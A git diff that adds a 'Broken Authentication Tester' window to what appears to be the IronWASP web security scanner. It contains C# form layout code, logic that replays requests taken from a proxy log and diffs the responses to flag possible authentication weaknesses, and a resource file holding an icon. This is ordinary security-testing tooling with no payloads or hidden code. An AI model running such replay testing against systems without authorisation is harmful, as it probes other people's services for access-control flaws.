this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "BrokenAuthTester"; + this.Text = "Broken Authentication Tester"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.BrokenAuthTester_FormClosing); + this.Load += new System.EventHandler(this.BrokenAuthTester_Load); + this.BaseTabs.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.ConfigurePanel.ResumeLayout(false); + this.ConfigurePanel.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).EndInit(); + this.tabPage2.ResumeLayout(false); + this.SelectCandidatesBaseSplit.Panel1.ResumeLayout(false); + this.SelectCandidatesBaseSplit.Panel1.PerformLayout(); + this.SelectCandidatesBaseSplit.Panel2.ResumeLayout(false); + this.SelectCandidatesBaseSplit.ResumeLayout(false); + this.SelectCandidatesBotttomSplit.Panel1.ResumeLayout(false); + this.SelectCandidatesBotttomSplit.Panel2.ResumeLayout(false); + this.SelectCandidatesBotttomSplit.ResumeLayout(false); + this.SplitContainerLogsSplit.Panel1.ResumeLayout(false); + this.SplitContainerLogsSplit.Panel2.ResumeLayout(false); + this.SplitContainerLogsSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).EndInit(); + this.tabPage3.ResumeLayout(false); + this.ResultsBaseSplit.Panel1.ResumeLayout(false); + this.ResultsBaseSplit.Panel2.ResumeLayout(false); + this.ResultsBaseSplit.ResumeLayout(false); + this.ResultsTopSplit.Panel1.ResumeLayout(false); + this.ResultsTopSplit.Panel1.PerformLayout(); + this.ResultsTopSplit.Panel2.ResumeLayout(false); + this.ResultsTopSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).EndInit(); + this.ResultsBottomTabs.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.tabControl3.ResumeLayout(false); + this.tabPage16.ResumeLayout(false); + this.tabPage15.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.ProgressBar ConfigureStepProgressBar; + internal System.Windows.Forms.DataGridView FileTypesScopeGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Panel ConfigurePanel; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.RadioButton LogRangeAllRB; + private System.Windows.Forms.RadioButton LogRangeBetweenIdsRB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox LogRangeEndTB; + private System.Windows.Forms.TextBox LogRangeStartTB; + private System.Windows.Forms.Button FindCandidatesBtn; + private System.Windows.Forms.SplitContainer SelectCandidatesBaseSplit; + private System.Windows.Forms.SplitContainer SelectCandidatesBotttomSplit; + private System.Windows.Forms.SplitContainer SplitContainerLogsSplit; + internal System.Windows.Forms.DataGridView CandidatesGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; + private System.Windows.Forms.DataGridViewCheckBoxColumn SSLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParametersClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn CodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn LengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ClmnMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn SetCookieClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn NotesClmn; + private SessionView SessView; + private System.Windows.Forms.SplitContainer ResultsBaseSplit; + internal System.Windows.Forms.DataGridView ResultsGrid; + internal System.Windows.Forms.TabControl ResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage11; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView OriginalVsTestResponseDRV; + private System.Windows.Forms.TabPage tabPage19; + private DiffResultView OriginalVsTestRequestDRV; + private System.Windows.Forms.TabPage tabPage4; + internal System.Windows.Forms.TabControl tabControl3; + private System.Windows.Forms.TabPage tabPage16; + internal ResponseView TestResponseView; + private System.Windows.Forms.TabPage tabPage15; + internal RequestView TestRequestView; + private System.Windows.Forms.TabPage tabPage7; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView OriginalResponseView; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView OriginalRequestView; + private System.Windows.Forms.ProgressBar CandidatesStepProgressBar; + private System.Windows.Forms.ProgressBar ResultsStepProgressBar; + private System.Windows.Forms.Button TestSelectedCandidatesBtn; + public System.Windows.Forms.TreeView HostnamesScopeTree; + public System.Windows.Forms.TreeView FilterTree; + private System.Windows.Forms.LinkLabel ShowDocLL; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestedUrlClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalResponseBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestResponseBinaryStringClmn; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.SplitContainer ResultsTopSplit; + } +} \ No newline at end of file diff --git a/Iron/Hawas/BrokenAuthTester.cs b/Iron/Hawas/BrokenAuthTester.cs new file mode 100644 index 0000000..3885c48 --- /dev/null +++ b/Iron/Hawas/BrokenAuthTester.cs @@ -0,0 +1,754 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP.Hawas +{ + public partial class BrokenAuthTester : Form + { + Thread WorkerThread = null; + + static BrokenAuthTester OpenBrokenAuthTester = null; + + bool InResultsStage = false; + + public BrokenAuthTester() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenBrokenAuthTester = new BrokenAuthTester(); + OpenBrokenAuthTester.Show(); + } + OpenBrokenAuthTester.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenBrokenAuthTester == null) + { + return false; + } + else if (OpenBrokenAuthTester.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void LogRangeAllRB_CheckedChanged(object sender, EventArgs e) + { + LogRangeStartTB.Enabled = LogRangeBetweenIdsRB.Checked; + LogRangeEndTB.Enabled = LogRangeBetweenIdsRB.Checked; + } + + private void BrokenAuthTester_Load(object sender, EventArgs e) + { + WorkerThread = new Thread(GetInitialScopeValuesFromDB); + WorkerThread.Start(); + } + + void GetInitialScopeValuesFromDB() + { + try + { + List Hosts = IronDB.GetUniqueHostsFromProxyLog(); + List Files = IronDB.GetUniqueFilesFromProxyLog(); + ShowConfigScopeValues(Hosts, Files); + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error reading host and file values from DB", Exp); } + } + + delegate void ShowConfigScopeValues_d(List Hosts, List Files); + void ShowConfigScopeValues(List Hosts, List Files) + { + if (ConfigurePanel.InvokeRequired) + { + ShowConfigScopeValues_d CALL_d = new ShowConfigScopeValues_d(ShowConfigScopeValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Hosts, Files }); + } + else + { + List> HostPartsList = new List>(); + + foreach (string Host in Hosts) + { + List Parts = new List(Host.Split(new char[]{'.'}, StringSplitOptions.RemoveEmptyEntries)); + Parts.Reverse(); + HostPartsList.Add(Parts); + } + + HostnamesScopeTree.Nodes.Clear(); + + foreach (List HostParts in HostPartsList) + { + HostParts.Reverse(); + string HostName = string.Join(".", HostParts.ToArray()); + HostParts.Reverse(); + + string BaseHost = ""; + if (HostParts.Count > 1) + { + BaseHost = string.Format("{0}.{1}", HostParts[1], HostParts[0]); + } + else + { + BaseHost = HostParts[0]; + } + + TreeNode BaseNode = null; + + if (HostnamesScopeTree.Nodes.ContainsKey(BaseHost)) + { + BaseNode = HostnamesScopeTree.Nodes[BaseHost]; + } + else + { + BaseNode = HostnamesScopeTree.Nodes.Add(BaseHost, " " + BaseHost); + } + + for (int i = 2; i < HostParts.Count; i++) + { + if (BaseNode.Nodes.ContainsKey(HostParts[i])) + { + BaseNode = BaseNode.Nodes[HostParts[i]]; + } + else + { + string NodeText = ""; + StringBuilder SB = new StringBuilder(" "); + for (int j = i; j >= 0; j--) + { + SB.Append(HostParts[j]); + SB.Append("."); + } + NodeText = SB.ToString().Trim('.'); + BaseNode = BaseNode.Nodes.Add(HostParts[i], NodeText); + } + } + + } + HostnamesScopeTree.ExpandAll(); + + FileTypesScopeGrid.Rows.Clear(); + foreach (string File in Files) + { + if (File.Trim().Length == 0) + { + FileTypesScopeGrid.Rows.Add(new object[] { true, " NO EXTENSION " }); + } + else + { + if (Crawler.ExtenionsToAvoid.Contains(File)) + { + FileTypesScopeGrid.Rows.Add(new object[] { false, File }); + } + else + { + FileTypesScopeGrid.Rows.Add(new object[] { true, File }); + } + } + } + ConfigureStepProgressBar.Visible = false; + ConfigurePanel.Visible = true; + } + } + + delegate void ShowMatchingRecordValues_d(List Records); + void ShowMatchingRecordValues(List Records) + { + if (ConfigurePanel.InvokeRequired) + { + ShowMatchingRecordValues_d CALL_d = new ShowMatchingRecordValues_d(ShowMatchingRecordValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Records }); + } + else + { + CandidatesGrid.Rows.Clear(); + + FilterTree.Nodes.Clear(); + FilterTree.Nodes.Add("Methods").Checked = true; + FilterTree.Nodes.Add("File Extensions").Checked = true; + FilterTree.Nodes.Add("Urls").Checked = true; + + foreach (LogRow LR in Records) + { + if (!FilterTree.Nodes[0].Nodes.ContainsKey(LR.Method)) + { + FilterTree.Nodes[0].Nodes.Add(LR.Method, LR.Method).Checked = true; + } + string File = LR.File; + if (File.Trim().Length == 0) + { + File = " - NO EXTENSION - "; + } + if (!FilterTree.Nodes[1].Nodes.ContainsKey(File)) + { + FilterTree.Nodes[1].Nodes.Add(File, File).Checked = true; + } + if (!FilterTree.Nodes[2].Nodes.ContainsKey(LR.Host)) + { + FilterTree.Nodes[2].Nodes.Add(LR.Host, LR.Host).Checked = true; + } + TreeNode HostNode = FilterTree.Nodes[2].Nodes[LR.Host]; + if (!HostNode.Nodes.ContainsKey("/")) + { + HostNode.Nodes.Add("/", "/").Checked = true; + } + Request Req = new Request(string.Format("http://{0}{1}", LR.Host, LR.Url)); + + for(int i=0; i < Req.UrlPathParts.Count; i++) + { + string Path = Req.UrlPathParts[i]; + string FullPath = ""; + if (Req.UrlPathParts.Count > 0) + { + StringBuilder SB = new StringBuilder(); + for (int j = 0; j <= i; j++) + { + SB.Append("/"); + SB.Append(Req.UrlPathParts[j]); + } + FullPath = SB.ToString(); + } + else + { + FullPath = "/"; + } + if (!HostNode.Nodes.ContainsKey(FullPath)) + { + HostNode.Nodes.Add(FullPath, Path).Checked = true; + if (!HostNode.Checked) + { + HostNode.Checked = true; + } + } + HostNode = HostNode.Nodes[FullPath]; + } + } + + //Adding the rows after the tree population since every check on the tree node would trigger a filter application on the grids + foreach (LogRow LR in Records) + { + object[] Fields = LR.ToLogAnalyzerGridRowObjectArray(); + Fields[0] = true; + CandidatesGrid.Rows.Add(Fields); + } + FilterTree.ExpandAll(); + CandidatesStepProgressBar.Visible = false; + SelectCandidatesBotttomSplit.Visible = true; + TestSelectedCandidatesBtn.Visible = true; + } + } + + delegate void AddTestResult_d(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest); + void AddTestResult(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest) + { + if (ConfigurePanel.InvokeRequired) + { + AddTestResult_d CALL_d = new AddTestResult_d(AddTestResult); + ConfigurePanel.Invoke(CALL_d, new object[] { OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString, PercentOfDifference, OriginalRequest, TestRequest }); + } + else + { + /* + ID + HostName + URL + Test ID + % of diff + Ori Req BS + Ori Res BS + Test Req BS + Test Res BS + */ + int RowId = ResultsGrid.Rows.Add(new object[] { OriginalRequest.ID, OriginalRequest.Host, OriginalRequest.Url, TestRequest.ID, PercentOfDifference, OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString }); + if (PercentOfDifference <= 10) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Red; + } + else if (PercentOfDifference <= 20) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.IndianRed; + } + else if (PercentOfDifference <= 30) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.OrangeRed; + } + } + } + + delegate void ResultsEnd_d(); + void ResultsEnd() + { + if (ConfigurePanel.InvokeRequired) + { + ResultsEnd_d CALL_d = new ResultsEnd_d(ResultsEnd); + ConfigurePanel.Invoke(CALL_d, new object[] { }); + } + else + { + ResultsStepProgressBar.Visible = false; + } + } + + List GetSelectedHosts(TreeNode Node) + { + List SelectedHosts = new List(); + if (Node.Checked) + { + if (!SelectedHosts.Contains(Node.Text.Trim())) + { + SelectedHosts.Add(Node.Text.Trim()); + } + } + foreach (TreeNode ChildNode in Node.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(ChildNode)); + } + return SelectedHosts; + } + + private void FindCandidatesBtn_Click(object sender, EventArgs e) + { + List SelectedHosts = new List(); + foreach (TreeNode Node in HostnamesScopeTree.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(Node)); + } + + List SelectedFileTypes = new List(); + foreach (DataGridViewRow Row in FileTypesScopeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Cells[1].Value.ToString().Equals(" NO EXTENSION ")) + { + SelectedFileTypes.Add(""); + } + else + { + SelectedFileTypes.Add(Row.Cells[1].Value.ToString()); + } + } + } + if (SelectedHosts.Count == 0) + { + MessageBox.Show("Atleast one host must be selected for testing"); + return; + } + if (SelectedFileTypes.Count == 0) + { + MessageBox.Show("Atleast one file extension must be selected for testing"); + return; + } + + SelectCandidatesBotttomSplit.Visible = false; + CandidatesStepProgressBar.Visible = true; + BaseTabs.SelectTab(1); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(FindCandidatesFromDB); + WorkerThread.Start(new Dictionary>() { { "Hosts", SelectedHosts }, { "File", SelectedFileTypes } }); + } + + void FindCandidatesFromDB(object FilterDictObj) + { + try + { + Dictionary> FilterInfo = (Dictionary>)FilterDictObj; + + List MatchingRecords = IronDB.GetRecordsFromProxyLogMatchingFilters(FilterInfo["Hosts"], FilterInfo["File"], ""); + List RecordsToTest = new List(); + foreach (LogRow LR in MatchingRecords) + { + Request Req = Request.FromProxyLog(LR.ID); + RecordsToTest.Add(LR); + } + + //Show these records on the page + ShowMatchingRecordValues(RecordsToTest); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error finding candidates - {0}", Exp.Message)); + } + } + + private void TestSelectedCandidatesBtn_Click(object sender, EventArgs e) + { + List SelectedLogIds = new List(); + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedLogIds.Add((int)Row.Cells[1].Value); + } + } + if (SelectedLogIds.Count == 0) + { + MessageBox.Show("No candidates were selected for testing, select atleast one candidate."); + return; + } + + ResultsGrid.Rows.Clear(); + ResultsStepProgressBar.Visible = true; + InResultsStage = true; + BaseTabs.SelectTab(2); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(TestSelectedCandidates); + WorkerThread.Start(SelectedLogIds); + } + + void TestSelectedCandidates(object SelectedItemsObj) + { + try + { + List LogIds = (List)SelectedItemsObj; + foreach (int LogId in LogIds) + { + TestLog(LogId); + } + ResultsEnd(); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error testing candidates - {0}", Exp.Message)); + } + } + + void TestLog(int LogId) + { + Session Sess = Session.FromProxyLog(LogId); + if (Sess.Response != null) + { + Request ReqToTest = Sess.Request.GetClone(); + ReqToTest.SetSource("BrokenAuthTester"); + Response Res = ReqToTest.Send(); + + int DiffPercent = Tools.DiffLevel(Sess.Response.ToString(), Res.ToString()); + + AddTestResult(Sess.Request.ToBinaryString(), Sess.Response.ToBinaryString(), ReqToTest.ToBinaryString(), Res.ToBinaryString(), DiffPercent, Sess.Request, ReqToTest); + } + } + + private void ResultsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedResultItem(); + } + + void ShowSelectedResultItem() + { + if (ResultsGrid.SelectedRows.Count > 0) + { + DataGridViewRow Row = ResultsGrid.SelectedRows[0]; + Request OriginalRequest = Request.FromBinaryString(Row.Cells["OriginalRequestBinaryStringClmn"].Value.ToString()); + Response OriginalResponse = Response.FromBinaryString(Row.Cells["OriginalResponseBinaryStringClmn"].Value.ToString()); + Request TestRequest = Request.FromBinaryString(Row.Cells["TestRequestBinaryStringClmn"].Value.ToString()); + Response TestResponse = Response.FromBinaryString(Row.Cells["TestResponseBinaryStringClmn"].Value.ToString()); + + string OriginalRequestString = OriginalRequest.ToString(); + string OriginalResponseString = OriginalResponse.ToString(); + string TestRequestString = TestRequest.ToString(); + string TestResponseString = TestResponse.ToString(); + + string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); + string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); + + string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); + string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); + + OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); + OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); + + OriginalRequestView.SetRequest(OriginalRequest); + OriginalResponseView.SetResponse(OriginalResponse, OriginalRequest); + TestRequestView.SetRequest(TestRequest); + TestResponseView.SetResponse(TestResponse, TestRequest); + } + } + + private void CandidatesGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CandidatesGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)CandidatesGrid.SelectedRows[0].Cells[0].Value) + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = true; + } + } + else + { + //ShowSelectedLog(); + } + } + } + + void ShowSelectedLog() + { + try + { + SessView.LoadAndShowSession((int)CandidatesGrid.SelectedRows[0].Cells[1].Value, "Proxy"); + } + catch { } + } + + private void FileTypesScopeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FileTypesScopeGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)FileTypesScopeGrid.SelectedRows[0].Cells[0].Value) + { + FileTypesScopeGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + FileTypesScopeGrid.SelectedRows[0].Cells[0].Value = true; + } + } + } + } + + private void LogRangeStartTB_KeyPress(object sender, KeyPressEventArgs e) + { + if (!char.IsDigit(e.KeyChar)) + { + e.Handled = true; + } + } + + private void LogRangeEndTB_KeyPress(object sender, KeyPressEventArgs e) + { + if (!char.IsDigit(e.KeyChar)) + { + e.Handled = true; + } + } + + private void HostnamesScopeTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + e.Cancel = true; + } + + private void HostnamesScopeTree_AfterCheck(object sender, TreeViewEventArgs e) + { + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + } + + private void FilterTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) + { + e.Cancel = true; + } + } + + int CurrentFilterTreeNodeLevel = -1; + private void FilterTree_AfterCheck(object sender, TreeViewEventArgs e) + { + if (e.Node.Level > CurrentFilterTreeNodeLevel) + { + CurrentFilterTreeNodeLevel = e.Node.Level; + } + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + if (e.Node.Level == CurrentFilterTreeNodeLevel) + { + UpdateCandidatesCheckBasedOnFilter(); + CurrentFilterTreeNodeLevel = -1; + } + } + + void UpdateCandidatesCheckBasedOnFilter() + { + List AllowedMethods = new List(); + Dictionary> AllowedUrls = new Dictionary>(); + List AllowedFileExts = new List(); + + if (FilterTree.Nodes.Count == 3) + { + foreach (TreeNode Node in FilterTree.Nodes[0].Nodes) + { + if (Node.Checked) + { + AllowedMethods.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[1].Nodes) + { + if (Node.Checked) + { + AllowedFileExts.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[2].Nodes) + { + if (Node.Checked) + { + AllowedUrls[Node.Name] = GetSelectedUrlPathsForNode(Node); + } + } + } + + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (AllowedUrls.ContainsKey(Row.Cells["HostNameSelectClmn"].Value.ToString()) + && AllowedMethods.Contains(Row.Cells["MethodClmn"].Value.ToString()) + && (AllowedFileExts.Contains(Row.Cells["FileClmn"].Value.ToString()) || (Row.Cells["FileClmn"].Value.ToString().Length == 0 && AllowedFileExts.Contains(" - NO EXTENSION - ")))) + { + bool UrlMatchFound = false; + string Url = Row.Cells["URLClmn"].Value.ToString(); + string UrlWithQueryMarker = string.Format("{0}?", Url); + foreach (string UrlPath in AllowedUrls[Row.Cells["HostNameSelectClmn"].Value.ToString()]) + { + if (UrlPath.Equals(Url)) + { + UrlMatchFound = true; + break; + } + else if (Url.StartsWith(UrlPath) && Url.StartsWith(UrlWithQueryMarker)) + { + UrlMatchFound = true; + break; + } + } + if (UrlMatchFound) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + List GetSelectedUrlPathsForNode(TreeNode Node) + { + List Result = new List(); + foreach (TreeNode ChildNode in Node.Nodes) + { + if (ChildNode.Checked) + { + Result.Add(ChildNode.Name); + } + Result.AddRange(GetSelectedUrlPathsForNode(ChildNode)); + } + return Result; + } + + private void FilterTree_BeforeCheck(object sender, TreeViewCancelEventArgs e) + { + if(e.Node.Level == 0) e.Cancel = true; + if (e.Action != TreeViewAction.Unknown && !e.Node.Checked && e.Node.Level > 1) + { + TreeNode HostnameNode = GetHostnameNode(e.Node); + if (HostnameNode != null) + { + if (!HostnameNode.Checked) + { + e.Cancel = true; + MessageBox.Show("The hostname node is not checked, cannot select sections of the host without selecting the hostname."); + } + } + } + } + + private void BrokenAuthTester_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + WorkerThread.Abort(); + } + catch { } + } + + TreeNode GetHostnameNode(TreeNode CurrentNode) + { + if (CurrentNode.Level == 1 && CurrentNode.Parent.Index == 2) + { + return CurrentNode; + } + else if (CurrentNode.Level > 1) + { + return GetHostnameNode(CurrentNode.Parent); + } + else + { + return null; + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (InResultsStage && e.TabPageIndex != 2) e.Cancel = true; + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void CandidatesGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ResultsGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedResultItem(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ShowDocLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Docs.DocForBrokenAuthTester DF = new Docs.DocForBrokenAuthTester(); + DF.Show(); + } + } +} diff --git a/Iron/Hawas/BrokenAuthTester.resx b/Iron/Hawas/BrokenAuthTester.resx new file mode 100644 index 0000000..8cd36a5 --- /dev/null +++ b/Iron/Hawas/BrokenAuthTester.resx @@ -0,0 +1,1990 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS6RLS0v/S0tL/4yFW4vdzW6x3c1usYqDWpBLS0v/S0tL/0tLS6QAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0v8S0tL/0tLS87czG7E3c1u/93Nbv/czG7GS0tL0UtLS/9LS0v8S0tLKAAA + AAAAAAAAAAAAAAAAAABLS0ulS0tL/0tLS/+NhVuT3c1u/93Nbv/dzW7/3c1u/42GW5lLS0v/S0tL/0tL + S6UAAAAAAAAAAAAAAABLS0spS0tL/EtLS/9LS0vR3Mxuwd3Nbv/dzW7/3c1u/93Nbv/czG7GS0tL0ktL + S/9LS0v8S0tLKQAAAAAAAAAAS0tLpktLS/9LS0v/iYJakt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/42F + W5lLS0v/S0tL/0tLS6YAAAAAS0tLKktLS/VLS0ulS0tLQdfHbBLdzW5c3c1up93Nbu/dzW7v3c1uqN3N + bl3XyG0US0tLQUtLS6VLS0v1S0tLKktLSy5LS0sSAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4E3c1uBAAA + 